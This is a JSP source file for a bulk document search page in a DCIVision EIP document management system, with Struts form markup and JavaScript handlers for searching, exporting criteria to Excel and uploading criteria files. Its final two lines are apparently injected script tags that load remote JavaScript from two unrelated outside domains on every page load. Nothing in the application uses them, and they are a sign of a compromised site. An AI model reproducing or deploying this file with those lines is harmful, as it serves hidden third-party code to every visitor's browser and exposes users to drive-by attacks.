<%
/*
 * @(#)BulkSearchDmsDocument.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  BulkSearchDmsDocument.jsp

  This is a BulkSearchDmsDocument page.  It shows the active documents' record in EIP.

    @author             Zoe Shum
    @company            DCIVision Ltd
    @creation date      27/08/2003
    @version            $Revision: 1.72.2.18 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.dms.*" %>
<%@ page import="com.dcivision.dms.web.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.*" %>
<%@ page import="com.dcivision.framework.web.*" %>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="bulkSearchDmsDocumentForm" scope="request" class="com.dcivision.dms.web.ListDmsDocumentForm"/>
<jsp:useBean id="DMS_DEF_PROFILE" scope="application" class="java.util.ArrayList"/>
<%try{%>
<%
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String      LIST_NAME = "dmsDocumentSearchList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"dms.columnheader.doc_name", "DOCUMENT_NAME"},
                            {"dms.columnheader.item_status", "ITEM_STATUS"},
                            {"dms.columnheader.location", GlobalConstant.NOT_AVAILABLE},
                            {"dms.columnheader.profile_name", GlobalConstant.NOT_AVAILABLE},
                            {"dms.columnheader.item_size", "ITEM_SIZE"},                            
                            {"common.columnheader.updater", "UPDATER_ID"},
                            {"common.columnheader.update_date", "UPDATE_DATE"}
                          };

  String[]   SEARCH_PANEL = {"dms.label.bulk_search_criteria_detail"};

  String pageFlag ="BulkSearchDmsDocument";
  String pageURL ="";

  int     COLUMN_OFFSET = 3;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
  if(!Utility.isEmpty(session.getAttribute("listDmsDocument"))){
    bulkSearchDmsDocumentForm = (ListDmsDocumentForm)session.getAttribute("listDmsDocument");
  }
   
  Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  String rootID = bulkSearchDmsDocumentForm.getRootID();
  String parentID = bulkSearchDmsDocumentForm.getParentID();
  String returnTo = request.getParameter("returnTo") != null ? request.getParameter("returnTo") : bulkSearchDmsDocumentForm.getReturnTo();

  String documentID = request.getParameter("documentID");
  boolean allFolderSelection = false;
  if (rootID==null & parentID==null){
    allFolderSelection=true;
  }
  final List resultList = request.getAttribute(LIST_NAME)==null? new ArrayList(): (List) request.getAttribute(LIST_NAME);
  String sFromFolder = bulkSearchDmsDocumentForm.getFromFolder();

  final List udfDetailList = (List) bulkSearchDmsDocumentForm.getUdfDetailList();
  if (udfDetailList!=null)
  LogFactory.getLog(this.getClass()).debug("udf Detail is '" + udfDetailList.size()+"'");
  final List docDetailList = (List) bulkSearchDmsDocumentForm.getDocumentDetails();
  if (docDetailList!=null)
  LogFactory.getLog(this.getClass()).debug("documentDetail Detail is '" + docDetailList.size()+"'");

  DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer,conn);
  VersionControlManager verControlManager = new VersionControlManager(sessionContainer, conn);
  String sCurFunctionCode = bulkSearchDmsDocumentForm.getCurFunctionCode();

  String sTifExist = "false";
  PermissionManager permissionManager = sessionContainer.getPermissionManager();
  boolean enableTiffSearch = com.dcivision.framework.SystemParameterFactory.getSystemParameterBoolean(com.dcivision.framework.SystemParameterConstant.DMS_ENABLE_TIFF_EXPORT);

  String showDefaultProfile = com.dcivision.framework.SystemParameterFactory.getSystemParameter(com.dcivision.framework.SystemParameterConstant.DMS_DEFAULT_PROFILE_FIELD_LIST);
  if(!Utility.isEmpty(showDefaultProfile)){
    String[] checkCustomFieldArray = (String[]) TextUtility.splitString(showDefaultProfile, "|");
    if(checkCustomFieldArray.length != 3 ){
	    showDefaultProfile += "||"+DmsOperationConstant.DEFAULT_PROFILE_SETTING_ASC;
    }
  }else{
    showDefaultProfile ="||"+DmsOperationConstant.DEFAULT_PROFILE_SETTING_ASC;
  }

%>
<script language="JavaScript">
<!--
PreloadImages('<html:img src='Uploading.gif' pathOnly='true'/>');
var flowWindow = null;
var clickedFlag = false;
var targetAction = '';

function closeFlowWindow() {
  if (popupWin) {
    popupWin.close();
  }
}

function OpExportCriteria() {
  /*if (document.bulkSearchDmsDocumentForm.userDefinedFieldID.value == null || document.bulkSearchDmsDocumentForm.userDefinedFieldID.value == ''){
    alert("<bean:message key='dms.message.choose_target_document_profile'/>");
    return (false);
  }*/
   for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
      break;
    }
  }
  frm.opMode.value="<%=DmsOperationConstant.EXPORT_EXCEL%>";
  frm.searchPage.value="BULK_SEARCH";
  frm.submit();
  return false;
}

function OpBulkSearch() {
  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
      break;
    }
  }

  if (!OpBulkSearchValidate(frm)) {
    return false;
  }

  frm.curStartRowNo.value = 1;
  frm.opMode.value = "<%=GlobalConstant.NAV_MODE_LIST%>";
  frm.navMode.value = "<%=GlobalConstant.NAV_MODE_LIST%>";
  frm.searchResultOpt.value="";
  frm.advSearchOpt.value="<%=DmsOperationConstant.ATTR_BULK_SEARCH_OPERATION%>";
  frm.searchPage.value="";
  loadingTo(null, true);//show loading
  frm.submit();
  return false;
} // end of the 'OpBulkSearch()' function


function OpBulkSearchValidate(frm){
  var folderSelected = false;
	if (frm.searchFolder)	{
		if (frm.searchFolder.length) {
			for ( var i=0; i<frm.searchFolder.length; ++i ) {
				if ( frm.searchFolder[i].checked ) { folderSelected = true; }
			}
		} else {
			if (frm.searchFolder.checked == true) {
				folderSelected = true;
			}
		}
	}
  if ( !folderSelected ) {
    alert("<bean:message key='dms.message.location_required'/>");
    return false;
  }

  frm.trueFileName.value=frm.value
  if (frm.trueFileName.value == null || frm.trueFileName.value == ''){
    alert("<bean:message key='dms.message.select_target_criteria_file'/>");
    return (false);
  }
  //Joan.xiong add code for bug EIP-177 by 2006/09/11
  if(frm.uploadFile.value==""){
  	alert("<bean:message key='dms.message.criteria_required'/>");
	frm.uploadFile.focus();
	return false;
  }
  // validate file import (lee 06/11/15 EIP-868) 
  if (GetFileExtension(frm.uploadFile.value).length<1){
    alert('<bean:message key="errors.dms.need_ext"/>');
    frm.uploadFile.focus();
    return false;
  }  
  //add code end

  return true;
}

function OpReset() {
  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
      break;
    }
  }
  if (frm.userDefinedFieldID) {
  	frm.userDefinedFieldID.value = '';
  }

  frm.opMode.value="<%=GlobalConstant.NAV_MODE_REFRESH%>";
  frm.advSearchOpt.value="";
  frm.searchResultOpt.value="";
  frm.searchPage.value="BULK_SEARCH";
  frm.bulkSearchExportUserDefinedFieldID.value = "";
  window.location.reload(true);
} // end of the 'OpListReset()' function

-->
</script>

<!-- Form Section Begin -->

<html:hidden property="parentID"/>
<html:hidden property="rootID"/>

<html:hidden property="searchResultOpt"/>

<div class="generalHeader">
	<div class="img_left"></div>
  <div class="img_right"></div>
  <div class="button">
    <layout:returnButton className="btn-standard" returnURL='<%=request.getParameter("returnURL")%>'/>
  </div>
</div>

<div id="searchChannelPanel" class="searchChannelPanel">
    <div class="shortcutButtonContainer">
      <html:standardButton label="common.label.search" onClick="return OpBulkSearch()"/>
      <html:standardButton label="common.label.reset" onClick="return OpReset()"/>
    </div>
    <div id="locationFilterPanel">
        <table> 
            <tr>
                <td class="formLabelSmall"><bean:message key='dms.label.bulk_search_criteria_file_export'/>:</td>
                <td class="formFieldSmall">
                	<div class="div-1-a">
                		<html:select property='bulkSearchExportUserDefinedFieldID' styleClass="form-style-2-pulldown">
                			<html:options dbListName='dmsUserDefinedIndexList' displayLabel='dms.label.general_document_profile'/>
                		</html:select>
                	</div>
                	<html:standardButton label="dms.message.document_excel_export_mode" onClick="return OpExportCriteria()"/>
                </td>
            </tr>
            <tr>
                <td class="formLabelSmallMan"><bean:message key="dms.label.bulk_search_criteria_file_import"/>:</td>
                <td class="formFieldSmall">
                	<html:file property="uploadFile" size="25" styleClass="form-style-2-textfield"/>
                </td>
            </tr>
            <tr>
                <td class="formLabelSmall"><bean:message key='dms.label.search_result_in'/>:</td>
                <td class="formFieldSmall">
                    <html:checkboxOptions wrapperStyleClass="form-style-2-checkbox-wrapper-panel" dbListName='allAccessableRootList' name='searchFolder' nameValue='<%=bulkSearchDmsDocumentForm.getSearchFolder()%>' hasSelect='<%=allFolderSelection%>'/>
                    <input type="checkbox" name="checkOrUncheck" checked="true" onClick="checkOrUncheckFolderAll(this);">
					<label id="checkOrUncheckLabel" name="checkOrUncheckLabel"><bean:message key="dms.label.search.unselectall"/></label>
                </td>
            </tr>
        </table>
    </div>
</div>


<!-- Form Section End -->

  <%} catch (Exception e) {
    LogFactory.getLog(this.getClass()).error(e, e);
    }%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>